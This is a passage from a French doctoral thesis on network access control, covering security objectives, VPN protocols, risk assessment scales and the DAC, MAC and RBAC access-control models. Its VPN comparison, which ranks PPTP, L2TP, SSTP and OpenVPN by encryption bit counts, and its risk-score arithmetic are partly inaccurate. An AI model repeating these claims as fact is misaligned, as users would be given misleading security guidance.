Il s'agit, en fait, d'un préliminaire qui vise d'une part à présenter les enjeux de
la sécurité informatique (dans le contexte des réseaux IP), et d'autre part à bien
cerner les problèmes liés à la sécurité informatique d'une façon générale et l'état
d'art de la sécurité des réseaux, en particulier.
En plus, et vue que nous nous intéressons dans cette thèse au contrôle d'accès
réseau, il était primordiale d'expliciter au niveau de ce premier chapitre les modèles
de contrôle d'accès de base ainsi que les mécanismes de contrôle d'accès hybride et
multi-niveaux.

• chapitre 2 intitulé : "Nouvelle Modélisation du Contrôle d'Accès Réseau".


Dans ce chapitre nous détaillons le mécanisme de contrôle d'accès réseau ou NAC
qui présente le modèle hybride de contrôle d'accès adapté au réseau IP, et qui
présente le coeur de notre travail de recherche. Il a pour objectif la supervision
des connexions utilisateurs au réseau, de la phase d'admission sur l'infrastructure
réseau jusqu'à la phase de déconnexion du réseau et la fermeture du point d'entrée.
Nous commençons par s'intéresser aux diérents aspects liés à la sécurité interne,
notamment en faisant une analyse de la surface d'attaques qui visent la sécurité
des réseaux LAN et une étude des solutions existantes pour la réduire. Nous nous
focalisons après sur les mécanimes d'authentication Radius et IEEE 802.1x qui
sont à la base du mécanisme AAA utilisé par la technologie d'accès réseau NAC,
dont les principaux composants et leur interaction sont présentés juste après.
Nous présentons et comparons, ensuite, l'état d'art des solutions NAC an de con-
naître leurs points forts et déceler leurs points faibles pour sortir avec une proposi-
tion d'amélioration du modèle en couche et une implémentation du contrôle d'accès
réseau pour réduire la surface d'attaque du réseau interne [1].

3
• chapitre 3 intitulé : "Nouvelle Proposition de Standardisation vers une
Sécurité Collaborative (IF-MAP)".
L'objectif principal de ce troisième chapitre est de sécuriser l'accès au système
d'information, plus précisément à son infrastructure réseau, en partant d'une ar-
chitecture standard, composée d'un Datacenter, un réseau utilisateurs, une DMZ
publique et un réseau WAN sous forme d'une connexion Internet redondée, et en-
suite en développant les points clés suivants [2] :

 nouvelle Proposition de standardisation vers une sécurité collaborative (IF-


MAP) ;
 proposition d'amélioration vers un écosystème de sécurité ;
 adoption d'IF-MAP comme Protocole d'échange de la sécurité NAC .
• chapitre 4 intitulé : "Contrôle d'accès face aux attaques chainées évoluées".
Ce chapitre s'inscrit dans une vision évolutive de la sécurité informatique an de
pouvoir faire face aux attaques de la nouvelle génération.

Dans un premier temps, nous allons étudier en détail l'anatomie des failles de sécu-
rité au niveau de l'accès LAN et expliciter des techniques avancées des attaques
avancées persistentes conçues en chaîne (APT - Advanced Persistants Threats) util-
isant des techniques d'évasion (AET - Advanced Evasion Techniques) pour pouvoir
s'inltrer dans les réseaux, même de haute sécurité.
Dans ce contexte, et face aux APT et AET, nous proposons un modèle de sécurité
collaborative basé sur le contrôle d'accès NAC et l'utilisation du protocole IF-MAP
pour l'échange ecace des événements de sécurité, an de pouvoir au mieux faire
face à ces attaques dites de nouvelle génération [4, 2].

• chapitre 5 intitulé : "Contrôle d'Accès Approprié au Cloud et à la Virtu-


alisation".
Ce dernier chapitre s'intéresse à la sécurité dans les environnements virtuels en
l'occurance le Cloud Computing. Nous commençons par présenter les enjeux et
mécanismes fonctionnels du Cloud Computing. Puis, nous nous intéressons à la
virtualisation comme infrastructure du Cloud Computing. Ensuite, nous nous fo-
calisons sur les enjeux de sécurité de la virtualisation et du cloud computing [5].

En fait, nous proposons, dans ce contexte, une amélioration de la sécurité d'architectures


virtuelles par l'intégration ecace des composantes clés de l'accès utilisateur, en
l'occurrence le contrôleur d'accès NAC, le Pare-feu et l'IPS/IDS, dans une perspec-
tive d'assurer la sécurité de la session utilisateur de bout en bout [6].

Nous concluons en présentant les apports ainsi que les limites des résultats obtenus. Aussi
dans la perspective de continuer ce travail, nous proposons quelques pistes de recherche
pour l'adoption d'IF-MAP, notamment son implémentation dans des environnements
réseaux hétérogènes et complexes pour améliorer la visibilité sur le réseau et pouvoir
mener des actions en temps réel contre les menaces .

4
Chapitre 1
Modèles et politiques de contrôle
d'accès au réseau
Tout système d'information représente un patrimoine essentiel, qu'il convient de protéger
contre les attaques intrusives et les manipulations malveillantes. Dans ce chapitre, nous
commençons par dénir le système d'information "SI" comme étant l'ensemble des don-
nées et des ressources matérielles et logicielles d'une entité donnée. Ces données sont
statiques en état de stockage, dynamique en état de traitement et de mouvement au sein
du réseau IP.

En plus, au niveau d'un SI, les systèmes unitaires que ce soient des modules hardware et
logiciels élémentaires ou complexes tel que les (OS, commutateurs, routeurs, etc) obéis-
sent individuellement à un modèle de contrôle d'accès classique MAC, DAC etc. Mais,
une fois ces systèmes mis en réseau, il devient très dicile de leur dénir un modèle
hybride de contrôle d'accès précis. Par conséquent, la mise en réseau donne lieu à des
failles dans le système de contrôle d'accès à plusieurs niveaux.

Notre objectif, au niveau de ce chapitre, est d'expliciter ces modèles de contrôle d'accès
de base individuels d'une part et de s'intéresser aux modèles de contrôle d'accès hybrides
et multi-niveaux, d'autre part.

1.1 Introduction et concepts généraux


1.1.1 Objectif de la sécurité
Le premier élément à dénir dans tout processus de sécurisation est le bien informatique
ou "asset". Ensuite, il faut dénir les sujets qui auront accès à ce bien, ainsi que le mé-
canisme d'accès, qui contrôle la manière dont le sujet interagit avec le bien informatique.

En eet, la protection des ressources informatique dite sécurité informatique, consiste


à assurer que les ressources matérielles et logicielles de l'organisation sont uniquement
utilisées dans le cadre prévu par la politique mise en vigueur et dont la perspective vise
à assurer l'application des principes de base de la sécurité informatique.

5
A ce stade, il est fondamental de rappeler les attributs fondamentaux de la sécurité
informatique résumés par le triplet CIA [10], illustré par la gure 1.1.1.

Figure 1.1.1: Représentation de la triade D, I, et C

La sécurité de l'information a, en eet, trois objectifs fondamentaux :

• condentialité
• intégrité
• disponibilité

Ces objectifs fondamentaux englobent des aspects techniques clés à savoir l'authentication
et la condentialité qui grantissent la non-répudiation des données .
Ci-dessous, nous allons expliciter ces concepts de base :

1. Authentication

la notion d'authentication correspond à l'identication de l'utilisateur, que ce soit


une personne physique ou un service. Le contrôle de cette information consiste à
vérier un secret partagé entre l'utilisateur et le serveur d'authentication vue que
pour fournir des services aux utilisateurs d'un réseau, il est fondamental de s'assurer
de leurs identités. Ce processus d'identication est appelé authentication. L'accès
au service est possible uniquement si le service et l'utilisateur souhaitant accéder
à ce service partagent un secret commun et qu'ils soient les seuls à le connaître.
Ce secret peut prendre diverses formes, il peut s'agir d'un couple de login/mot de
passe, d'un badge magnétique, d'une clé ou d'une empreinte digitale.

l'évolution des réseaux a porté de sérieux dés à ce processus simple. Les services
étant distants des utilisateurs, le secret nécessaire à l'authentication doit en eet
transiter sur le réseau et peut donc être à tout moment intercepté par une tierce
personne. Même en supposant que le mot de passe ne transite pas en clair, mais
sous forme d'une empreinte irréversible, cette solution reste problématique pour
deux raisons :

• plus l'empreinte transite, plus elle est susceptible d'être interceptée, puis cassée.
Ces multiples authentications fragilisent donc le mot de passe ;

6
• l'utilisateur n'apprécie pas enter son mot de passe plusieurs fois ce qui con-
stitue une agace inévitable, donc comme conséquence directe il aura tendance
à choisir un mot de passe court et simple, typiquement un mot du dictionnaire.

2. Condentialité

La condentialité est le caractère réservé d'une information dont l'accès est limité,
à moins que l'usager consente à sa divulgation, même le consentement doit être
libre et éclairé, c'est-à-dire que la personne doit être informée sur les conséquences
et les répercussions que la divulgation d'une information peut avoir.

Aujourd'hui, la condentialité des données est devenue à la mode en matière de


sécurité. La publicité récente autour d'incidents à grande échelle d'espionnage dans
la diusion non autorisées d'informations condentielles ou dans le vol de millions
d'enregistrements de cartes de crédit de clients a sensibilisé les directions générales
et opérationnelles sur la valeur du capital informationnel de l'entreprise. De même,
la multiplication des systèmes embarqués qui se connectent sur Internet et échangent
des informations avec les systèmes informatiques renforce cette perception de be-
soin de condentialité. Le mobile, le box ADSL à domicile, ou demain la voiture,
l'avion et autres seront forcés à échanger beaucoup d'informations condentielles
avec une multitude de systèmes. La condentialité se décline également en protec-
tion de données personnelles. Ce dernier point a déclenché une polémique montrant
de fortes divergences entre la vision libérale des fournisseurs de technologie et celle
plus protectrice du législateur. Les entreprises également sont sensibles à leur con-
formité réglementaire par rapport aux autorités.

Il existe un moyen simple et relativement peu coûteux pour protéger ses données
lorsqu'ils sont envoyées en réseau. Ce sont les réseaux privés virtuels (Virtual Pri-
vate Networks) qui permettent de créer un tunnel sécurisé entre un ordinateur, une
tablette ou un téléphone intelligent et un ordinateur distant ou encore entre un
réseau privé local et un autre réseau privé distant.

Le réseau VPN permet de cacher l'identité des interlocuteurs et de chirer les don-
nées transmises. Cela peut être très utile pour communiquer avec un maximum de
sécurité dans des accès non sécurisés, pour sécuriser des informations transmises
entre deux collègues de travail ou encore pour accéder au contenu de sites Web qui
ne diusent que pour un pays donné, ce qui est de plus en plus fréquent.

Même si on peut se servir de logiciels comme OpenVPN pour installer soi-même un


réseau VPN, c'est beaucoup plus simple de s'abonner à un service VPN existant,
avec des serveurs dans diérents pays et un système de sécurité bien rodé.

Plusieurs protocoles et standards sont d'usage pour établir des canaux VPN sécurisés.
Ces protocoles sont scindés en deux grandes familles "VPN IPSEC" et "VPN SSL"

7
qui orent des niveaux de sécurité et une convivialité diérente. Certes, l'IPSEC
est plus mature de point de vue sécurité, mais il est plus contraignant [7]. La gure
1.1.2 ci-dessous montre l'emplacement des protocoles SSL et IPSec au niveau des
couches du modèle OSI.

Figure 1.1.2: Comparaison entre VPN IPSEC & SSL

D'autres alternatives existent aussi comme nous allons citer ci-après :


• le protocole PPTP n'ore un cryptage qu'à 128 bits, mais assurant déjà un
minimum de sécurité. Il est compatible avec la plupart des appareils, ordina-
teurs aussi bien que tablettes ou téléphones intelligents ;
• le protocole L2TP est un peu plus sécuritaire avec un cryptage à 256 bits ;
• le protocole SSTP est le plus sûr avec un cryptage à 2048 bits, mais il ralentit
légèrement le débit de transmission des données ;
• d'un autre côté, le protocole OpenVPN ore un cryptage à 2048 bits, mais
il ne fonctionne que sur les ordinateurs sous Windows, Mac ou Linux où il
nécessite d'utiliser d'un logiciel client.
3. Disponibilité et intégrité des données
La disponibilité, permettant de maintenir le bon fonctionnement du système d'information.
L'ultime objectif de la disponibilité est de garantir l'accès à un service ou à des
ressources à tout moment.

Par ailleurs, vérier l'intégrité des données revient à déterminer si les données n'ont
pas été altérées durant la communication (de manière fortuite ou intentionnelle).

1.1.2 Notion de risque informatique


Les attaques internet visent en priorité les utilisateurs par le biais de vulnérabilités
présentes dans les plugins des navigateurs internet. Le pare-feu et l'antivirus, tout en

8
étant des moyens de protection indispensables, ne susent plus à contrer ces attaques.

Abusés par un message semblant émaner d'un correspondant ou d'un service connu, des
utilisateurs peuvent cliquer sur un lien fallacieux contenu dans un courriel et provo-
quer l'installation immédiate d'un programme malveillant sur leur ordinateur. Con-
trôlé à distance, celui-ci peut rejoindre un botnet et participer à des attaques contre
des serveurs sensibles, ou bien devenir un "cheval de Troie" exltrant les données de
l'utilisateur. Il arrive également que le programme malveillant chire l'intégralité des
données de l'utilisateur qui reçoit ensuite la proposition de retrouver ses données origi-
nales, en échange d'une rançon.

Certaines attaques visent plus particulièrement les utilisateurs détenant des données con-
dentielles ou des comptes donnant accès à des sites hautement sécurisés. Ces utilisateurs,
"cibles" potentielles, sont repérés grâce aux réseaux sociaux et la rédaction de messages
crédibles destinés à les piéger en est d'autant facilitée. Dans la pratique, la seule pro-
tection envisageable contre ces scénarios d'attaques consiste à sensibiliser chacun aux
dangers et pièges de l'internet.

Dans ce qui suit, nous allons nous intéresser à ces composants de l'environnement de
sécurité. On commence par dénir les concepts de base de la sécurité informatique, en
l'occurrence, l'actif à protéger, la faille et la menace et le risque qui en résulte de l'exploit.

La menace (en anglais "threat") représente le type d'action susceptible de nuire dans
l'absolu, tandis que la vulnérabilité (en anglais "vulnerability", appelée parfois faille ou
brêche) représente le niveau d'exposition face à la menace dans un contexte particulier;
la contre-mesure est l'ensemble des actions mises en oeuvre en prévention de la menace.

Les contre-mesures à mettre en oeuvre ne sont pas uniquement des solutions techniques
mais également des mesures de formation et de sensibilisation à l'intention des utilisa-
teurs, ainsi qu'un ensemble de règles clairement dénies.

An de pouvoir sécuriser un système, il est nécessaire d'identier les menaces potentielles,
et donc de connaître et de prévoir la façon de procéder de l'ennemi. La gure 1.1.3 montre
la relation existante entre les notions de risque, menace et vulnérabilité (ou faille).
Un risque est qualié en fonction de l'impact qu'il peut avoir et de sa probabilité ou
vraisemblance d'occurrence. Pour analyser les risques, on va passer par deux étapes :

• détermination / identication des risques : on détermine quels sont les principaux


risques qui pèsent sur les éléments du système d'information ;

• valorisation des risques : on calcule une valeur (un poids) pour chacun des risques
en fonction de la probabilité d'occurrence d'une menace, de la facilité d'exploitation
d'une vulnérabilité, et des impacts qui en découlent.

Pour chaque risque identié, le traitement selon la norme (ISO 27002) [9] sera ramené
à quatre actions possibles :

9
Figure 1.1.3: Relation risque-menaces-vulénrabilité

• refuser le risque (i.e. supprimer au moins un des trois critères de dénition d'un
risque, voire supprimer la fonction générant le risque) ;

• réduire le risque (modier les critères de vulnérabilité ou d'éxposition au risques,


la probabilité de réalisation des menaces, l'impact, jusqu'à un niveau de risque
acceptable appelé risque résiduel) ;

• transférer le risque (transférer la fonction qui génère le risque à une autre unité) ;

• accepter le risque (par exemple si celui-ci est faible ou trop coûteux à éliminer).

L'appréciation des risques consiste, d'une part, à les identier, et d'autre part à les évaluer
c'est-à-dire les exprimer avec une valeur qui caractérise leur importance.

1. Dénition des échelles de valeurs


Avant de commencer l'analyse de risques proprement dite, il est important de se
doter de diverses échelles de notation et d'évaluation qui seront nécessaires pour
"quantier" les risques et leur aecter une priorité (une pondération d'importance).
Nous allons détailler successivement ces diérentes échelles de valeur :

• une échelle de valeur des actifs (quels sont les actifs les plus importants) ;
• une échelle de vraisemblance des menaces (quelles sont les menaces les plus
probables ou les plus vraisemblables) ;
• une échelle de facilité d'exploitation des vulnérabilités ;
• une échelle d'importance des impacts ;
• un tableau de classication des risques.

10
(a) Echelle des actifs
• valeur négligeable (coecient 0) : si cet actif est mis hors service, les eets
ne sont pas décelables ;
• valeur faible (coecient 1) : si cet actif vient à manquer, les eets aectent
essentiellement des éléments de confort ;
• valeur signicative (coecient 2) : si cet actif vient à manquer, les eets
aaiblissent la performance ;
• valeur élevée (coecient 3) : si cet actif vient à manquer toute l'unité est
impactée ;
• valeur critique (coecient 4) : si cet actif vient à manquer les missions
essentielles de l'organisme sont mises en danger.

(b) Échelle d'estimation des menaces


On évalue les menaces à partir de leur vraisemblance (ou leur probabilité
d'occurrence) dans notre contexte. La vraisemblance d'une menace se mesure
à partir de scénarios d'attaques : types de menaces environnementales ou hu-
maines, existence d'attaquants, motivations d'attaque etc.

On trouvera une liste d'environ 42 méthodes d'attaques possibles dans le volet


ISO 27005 ou dans la méthode Ebios (comme par exemple, l'incendie, le vol,
les écoutes réseau, etc.).

L'estimation des menaces peut ainsi s'évaluer sur une échelle à trois niveaux
selon la vraisemblance ou probabilité d'occurrence : probabilité faible, moyenne
et forte, notées de 1 à 3.

(c) Échelle d'estimation des vulnérabilités (facilité d'exploitation)


Il convient de répertorier les vulnérabilités présentes sur les actifs, puis pour
chacune d'elles, déterminer leurs facilités d'exploitation en tenant compte des
mesures de protection existantes.

Pour chaque actif on va estimer la facilité d'exploitation des failles ou vulnéra-


bilités présentes :

• vulnérabilité très facile à exploiter (coecient 1) : par exemple une salle


serveur peut avoir comme vulnérabilité d'avoir une climatisation défectueuse
ou de capacité insusante. L'augmentation de température qui peut
s'ensuivre peut être un facteur de déclenchement d'incendie. Le déclenche-
ment d'un incendie qu'il soit d'ordre environnemental ou intentionnel ne
nécessite aucune compétence et est de ce fait facile à exploiter ;

• vulnérabilité moyenne (coecient 2) : par exemple, le système de mes-


sagerie peut laisser passer certains documents comportant des virus. Les

11
PC de l'unité ne sont pas tous équipés d'antivirus. Cette vulnérabilité
est moyennement facile à exploiter du fait que certaines mesures antivi-
rales sont déjà prises dans l'unité, et que l'unité a une architecture réseau
sécurisée (réseau segmenté en vlan et ltres entre les réseaux) qui minimise
les diusions virales ;

• vulnérabilité dicile à exploiter (coecient 3) : par exemple, le logiciel de


gestion du service de noms (DNS) soure d'un bogue de sécurité permet-
tant de corrompre le cache des adresses IP de l'internet. Cette vulnérabil-
ité potentiellement très dangereuse et spectaculaire nécessite toutefois des
compétences très importantes relevant de spécialistes pour être exploitée.

2. Établissement des critères d'impact


Il faut répondre à la question : "à partir de quel niveau juge-t-on qu'un impact
est assez important pour que le risque soit pris en compte ?" Les niveaux d'impact
peuvent être confondus avec les niveaux de valorisation d'un actif dénis précédem-
ment, à sa perte ou sa dégradation.
Cinq niveaux dans les critères d'impacts / conséquences :

• négligeables : les eets ne sont pas décelables (coecient 0) ;


• faibles : les eets aectent essentiellement des éléments de confort
(coecient 1) ;
• signicatifs : les eets aaiblissent la performance de l'unité (coecient 2) ;
• élevés : toute l'unité est impactée (coecient 3) ;
• critiques : les eets mettent en danger les missions essentielles de l'organisme
(coecient 4).

Par exemple :

(a) impact important (coecient 3 à 4): l'incendie de la salle serveur en raison de


la défaillance d'une climatisation peut avoir un impact catastrophique pendant
plusieurs semaines pour la poursuite des activités de l'unité ;

(b) impact moyen (coecient 2 à 3): en l'absence de dispositif de sauvegarde de


données, la perte ou le vol d'un PC peut compromettre une expérimentation
et les activités d'une équipe sans toutefois paralyser l'unité entière ;

(c) impact faible (coecient 1): dans des conditions de sécurité déjà présentes
(présence d'antivirus sur la majorité des PC de l'unité, sensibilisation perma-
nente des utilisateurs et ltrage sur les serveurs de messagerie) la contamina-
tion de quelques PC dans l'unité fera perdre tout au plus quelques heures à
l'utilisateur et au service informatique.

12
Exemple d'évaluation de l'importance des risques :
Avec ses 3 facteurs constitutifs (vulnérabilité, menace et impact), le risque peut donc
être évalué à travers diérentes formules (la norme n'impose pas de formule précise)
reliant ces trois facteurs: Risque = fonction (impact, menace, vulnérabilité).
A partir de ces critères, on peut combiner ces trois facteurs par une formule qui
permettra de donner une valeur à diérents niveaux de risques. Cette formule est
connue sous le nom de "l'équation du risque" et se présente sous la forme:

Risque = Menace * vulnérabilité * Impact

Dans des tableaux suivants (la gure 1.1.4 et la gure 1.1.5), le risque est ainsi
maximal (valeur de 8) dans le cas d'un impact critique (4) avec de fortes probabilités
de menaces (haute) et une vulnérabilité élevée (facile).

Figure 1.1.4: Appréciation des risques

Figure 1.1.5: Zones d'évaluation du risque

13
1.2 Modèles fondamentaux de contrôle d'accès
Nous entamons cette section par rappeler quelques concepts de base.

Un modèle de contrôle d'accès peut être déni comme un formalisme (souvent mathéma-
tique) qui permet de développer et spécier le comportement d'un système de manière
exacte et de mieux le comprendre. Il permet aussi d'abstraire, donc de faciliter la com-
préhension d'une politique de sécurité et d'implémenter des mécanismes pour assurer
certains objectifs de sécurité. La gure 1.2.1 suivante illustre l'objectif d'un mécanisme
de contrôle d'accès dans la protection contre les attaques.

Figure 1.2.1: Objectif d'un modèle de contrôle d'accès

La sécurité du système d'information repose sur la garantie de propriétés de sécurité


fondamentales, dont notamment la condentialité, l'intégrité et la disponibilité. Le con-
trôle d'accès permet de garantir la préservation de ces propriétés par la dénition et
l'implantation d'une politique de sécurité, en eet un système d'information peut être vu
comme un ensemble de sujets (c'est-à-dire une entité active du système) et d'objets (une
entité passive) qui interagissent ensemble dans la perspective d'eectuer des actions qui
modieront ou non l'état du système.

Une opération eectuée par un sujet sur un objet peut donc être représentée par le triplet
(sujet,action, objet).

On distingue principalement trois familles de modèles de contrôle d'accès qualiés respec-


tivement de discrétionnaire, mandataire ou basé sur les rôles.

Les premiers modèles de contrôle d'accès qui ont vu le jour étant le MAC et le DAC
en 1970. Ensuite, RBAC a été inventé pour combler les insusantes et apporter une
meilleure granularité et exibilité du mécanisme de contrôle aux ressources basé sur les
rôles. La gure 1.2.2 suivante illustre l'évolution historique des modèles de contrôles
d'accès.

14
Figure 1.2.2: Evolution historique des modèles de contrôles d'accès

Dans ce qui suit, nous allons détailler ces modèles de contrôle d'accès fondamentaux
MAC, DAC, RBAC et ABAC et éventuellement le modèle hybride.

1.2.1 Le contrôle d'accès discrétionnaire DAC


Le contrôle d'accès discrétionnaire (ou DAC) est le modèle de contrôle d'accès de base
utilisé par l'ensemble des systèmes d'exploitation actuels. Dans ce modèle de contrôle
d'accès, c'est l'utilisateur propriétaire de ses ressources qui décide des droits d'accès ac-
cordés aux autres utilisateurs sur ses ressources.

Il s'agit du mécanisme utilisé dans les systèmes d'exploitation traditionnels (Linux, Win-
dows, MacOs). Ce modèle est d'une sécurité faible.

Une première formalisation de ce modèle de contrôle d'accès a été proposée par l'auteur
de [11]. Celui-ci y propose notamment les dénitions de capacités et d'Acces Control List
(ou ACL). Lampson propose de placer dans une matrice l'ensemble des domaines de pro-
tection qui représentent des contextes d'exécution (les sujets) sur les lignes et l'ensemble
des objets sur les colonnes. Ces dénitions sont nées dans [12] où l'auteur propose la
modélisation des accès sous forme de matrice d'accès.

Le modèle HRU ([13, 14]) propose une amélioration du modèle de contrôle d'accès dis-
crétionnaire de Lampson. Dans ce modèle, les auteurs proposent une description des
politiques de contrôle d'accès discrétionnaire. Une matrice P représente l'ensemble des
droits d'accès des sujets sur des objets. Chaque sujet possède des droits d'accès sur

15
des objets, mais les sujets sont eux-mêmes des objets et peuvent modier la matrice de
contrôle d'accès dans le but d'ajouter ou supprimer des objets, mais également modier
les droits accordés à un autre sujet. Cependant, HRU établit qu'on ne peut garantir de
sécurité dès lors que l'on peut modier librement les règles.

Sandhu a introduit dans [16] le modèle Typed Acces Matrix (ou TAM ) dans lequel il pro-
pose une extension du modèle HRU en introduisant la notion de typage fort. Cette notion
de typage fort est une extension des travaux précédents sur SPM (Sandhu's Schematic
Protection Model) de [15]. Cependant, il ne résout pas l'impossibilité de garantir des
propriétés de condentialité ou d'intégrité avec l'approche discrétionnaire.

Comme expliqué précédemment, dans le modèle DAC, pour chaque objet il y a un "pro-
priétaire". Ce dernier détermine qui a quelles permissions par rapport aux objets dont il
est propriétaire.

Prenons l'exemple du système de chiers Linux :


ls -l chier
rwxrwxrwx 1 root users 2016-10-20 01:18 rapport.doc

Nous pouvons transférer les droits d'accès par le biais de la commande chown. Par
exemple, les droits d'accès ou même la propriété peuvent être transférés.
chown -R Abdelmajid rapport.doc

Deux principes de sécurité essentiels à adopter en cas du DAC :

1. plus petit privilège : un sujet devrait se voir attribuer seulement les privilèges qui
lui soient nécessaires pour compléter son travail ;

2. séparation des tâches : le travail d'un sujet sert de vérication complémentaire pour
le travail d'un autre.
Limitation du DAC en Linux
• cible des Chevaux de Troie (scripts), par les moyens des commandes setuid/setgid ;

• décisions d'autoriser l'accès prises sur l'identité du sujet et du propriétaire de l'objet


en question ;

• seulement deux grandes catégories d'utilisateurs : administrateurs et autres ;

• un service qui nécessite un privilège quelconque se verra attribué tous les privilèges.

1.2.2 Le contrôle d'accès obligatoire MAC


Le modèle de contrôle d'accès obligatoire MAC (Mandatory Access Control) repose sur
le principe que la politique de sécurité appliquée sur un système ne doit pas pouvoir être
modiée par les utilisateurs du système. Pour cela, Anderson propose dans [17] d'utiliser
un moniteur de référence. Ce moniteur de référence doit permettre d'appliquer sur le

16
système une politique de sécurité (modélisée sous la force d'une matrice xe) qui détaille
explicitement tous les accès autorisés ou interdits au sein du système. Avec cette ap-
proche, il est possible de garantir des propriétés de condentialité et d'intégrité.

Sur cette base, diérents modèles ont été proposés.

1. Bell-Lapadula
Le modèle de Bell-Lapadula (BLP), déni dans [18, 19, 20] formalise la propriété de
condentialité des données dans les milieux militaires. Ce modèle associe la notion
de label aux sujets et objets. Un label représente un niveau de sécurité contenant
deux types d'identiants de sécurité : un niveau hiérarchique et un identiant de
catégorie. Ces niveaux de sécurité permettent de garantir deux règles :

• no Read Up : cette propriété assure qu'un sujet qui demande un accès en


lecture sur un objet du système possède un niveau de sécurité supérieur ou
égal à celui de l'objet ;
• no Write Down : cette propriété assure qu'un sujet qui demande à modier
un objet du système possède un niveau de sécurité inférieur ou égal à celui de
l'objet.

2. Biba

Le modèle Biba [21] formalise le dual de Bell et Lapadula pour garantir la propriété
d'intégrité d'un système. Dans ce modèle, chaque sujet et objet possède un label.
Deux propriétés sont ainsi garanties :

• No Read Down : cette propriété assure qu'un sujet qui demande un accès en
lecture sur un objet du système possède un niveau d'intégrité inférieur ou égal
à celui de l'objet.
• No Write Up : cette propriété assure qu'un sujet qui demande un accès en
écriture sur un objet du système possède un niveau d'intégrité supérieur ou
égal à celui de l'objet.

Ces propriétés permettent d'éviter les transferts d'information d'un niveau d'intégrité
bas vers un niveau d'intégrité haut, ce qui entrainerait une compromission de
l'intégrité du niveau haut.

3. Domain et Type de renforcement "Domain Type Enforcement-DTE":


Le modèle Domain and Type Enforcement (DTE) déni dans [22] est un modèle
de contrôle d'accès basé sur une abstraction des ressources du système et créé spé-
ciquement pour l'écriture de politiques de sécurité.

17
À la diérence des modèles BLP et Biba qui supportent seulement deux cas partic-
uliers de condentialité et d'intégrité, le modèle DTE couvre un plus large ensemble
de propriétés. Dans ce modèle, les notions de sujets et d'objets sont remplacées par
celles de domain et de type dans le but de distinguer les entités actives et passives
du système. Ce modèle autorise les interactions entre un domaine et un type, mais
également les interactions entre domaines.

Dans ce modèle, il est nécessaire de dénir de manière explicite tous les accès au-
torisés aux diérents domaines. Cela permet une application ecace du principe de
moindre privilège car les accès d'un domaine peuvent être restreints aux ressources
qui lui sont nécessaires.

En dénitive, dans ce modèle, les usagers ne sont pas propriétaires des objets :

• l'accès aux objets est sujet à des règles xes que les usagers ne peuvent pas modier
eux même ;

• on suppose des classications xes des usagers et objets ;

• les permissions des sujets sont déterminées par des règles qui sont en fonction de
ces classications.

Les usagers et les objets sont classiés dans diérentes classes de condentialité (Très
secret, Secret, Condentiel).

De plus, on xe la règle qu'un usager à un certain niveau ne peut pas lire un objet classié
à un niveau supérieur.

Pour illustrer ceci, un soldat simple, étant au niveau 'Condentiel' ne peut pas lire des
informations classiées 'Secret'.
MAC permettrait de renforcer ces deux principes :

• dénition de permissions gouvernant les interactions sujets/objets ;

• décisions de sécurité (autorisation d'accès) prises selon toute l'information disponible


sur les sujets/objets ;

Limitation du contrôle d'accès MAC

Le contrôle d'accès obligatoire est un système de contrôle d'accès dans lequel la décision
de protection ne revient pas au propriétaire de cet outil. Les autorisations d'accès sont
établies par l'examen d'attributs de sécurité.

18
1.2.3 Le contrôle d'accès à base du rôle R-BAC
Le modèle R-BAC (Role-Based Access Control) est un modèle où les droits d'accès sont
attribués aux personnes en fonction de leurs tâches. Il repose sur la notion de rôles actifs,
couramment utilisés par le sujet, la notion de rôles autorisés, que le sujet peut assumer
au cours de ses activités, ainsi que la liste des transactions autorisées pour les diérents
rôles. Il a pour avantage de séparer l'identité du sujet et ses droits d'accès, comme illustré
par la gure 1.2.3.

Figure 1.2.3: Modèle de contrôle d'accès R-BAC

Dans la plupart des organisations, les usagers sont classés dans des rôles. A titre d'exemple:
Recteur, vice-recteurs, doyens, directeurs de services, directeurs de départements, di-
recteurs de programmes et modules, professeurs, étudiants. Les usagers sont aectés à
des rôles et les permissions des usagers sont déterminées par le(s) rôles auxquels ils ap-
partiennent.

RBAC est approprié aux organisations de structure assez xe et hiérarchique comme les
banques, nances et gouvernement. Il est probablement la méthode de contrôle d'accès
la plus largement utilisée dans les grandes entreprises, mais il est dicile à adopter en
environnements dynamiques.

En eet, le modèle d'habilitation RBAC permet d'établir, au sein du système d'information


d'une entreprise, un contrôle d'accès ecace sur les applications et les services pour les
utilisateurs. Il repose essentiellement sur la dénition des rôles à attribuer aux utilisa-
teurs et aux ressources. Ce modèle fait appel à un autre modèle de gestion d'habilitation
IBAC (Identity Based Access Control) qui est moins évolué mais dont RBAC tire son
origine.

Ce modèle (IBAC) est le plus simple et reste adapté lorsque, dans le SI, le nombre

19
d'utilisateurs en fonction des ressources à protéger est très faible, comme le montre la
gure 1.2.4.

Figure 1.2.4: Droits d'accès aectés aux utilisateurs

À chaque utilisateur, il permet de dénir des droits d'accès aux ressources du SI, en
lecture et en écriture.

1. La gestion des rôles

La gestion des rôles dans une organisation va s'intéresser à :

• associer des prols aux utilisateurs ;


• associer des rôles aux applications ;
• diérentier les utilisateurs et les applications en fonction de critères tels que
la géographie ou encore le secteur d'activité sous forme d'attributs.

Il existe diérentes approches pour attribuer des rôles aux utilisateurs :

• une première approche s'attache à identier les attributs communs des util-
isateurs qui accèdent aux mêmes ressources pour en dénir les rôles qui cor-
respondent aux droits de ces utilisateurs, souvent à partir de leur fonction ou
de leur prol métier ;
• la seconde approche permet de faire le travail inverse. Il s'agit d'identier les
ressources qui sont associées simultanément, les regrouper an d'en dénir un
rôle, pour l'assigner aux utilisateurs qui ont accès à ces mêmes ressources ;
• la dernière approche est beaucoup plus empirique car elle s'intéresse d'abord
à demander aux responsables d'identier, parmi leurs subordonnés, ceux qui
font le même travail. L'étape suivante consiste à vérier que ces utilisateurs
ont les mêmes privilèges et enn, si c'est le cas, dénir un rôle à assigner à ce
groupe d'utilisateurs.

Alors que le modèle IBAC ne permet de donner des droits qu'à l'utilisateur, représenté
par son compte applicatif, le modèle RBAC s'intéresse d'abord à regrouper les util-
isateurs en fonction d'attributs communs.
Le modèle RBAC est construit autour des rôles. Ou plus exactement, les rôles
représentent le lien entre les utilisateurs et les ressources (la gure 1.2.5).
Dans certains cas, les rôles vont prendre le nom des diérents métiers de l'entreprise,
tels que comptable, commercial ou ressource humaine. Dans d'autres cas, les rôles

20
Figure 1.2.5: Exemple d'utilisation de R-BAC

vont plutôt représenter des activités ou des projets en cours d'élaboration. Ils peu-
vent aussi représenter des personnes physiques comme les agents, les prestataires,
les partenaires ou les clients qui, de par leur fonction au sein de l'entreprise, exer-
cent une activité ayant vocation à leur permettre de bénécier des applications et
des ressources mises à disposition par cette même entreprise.
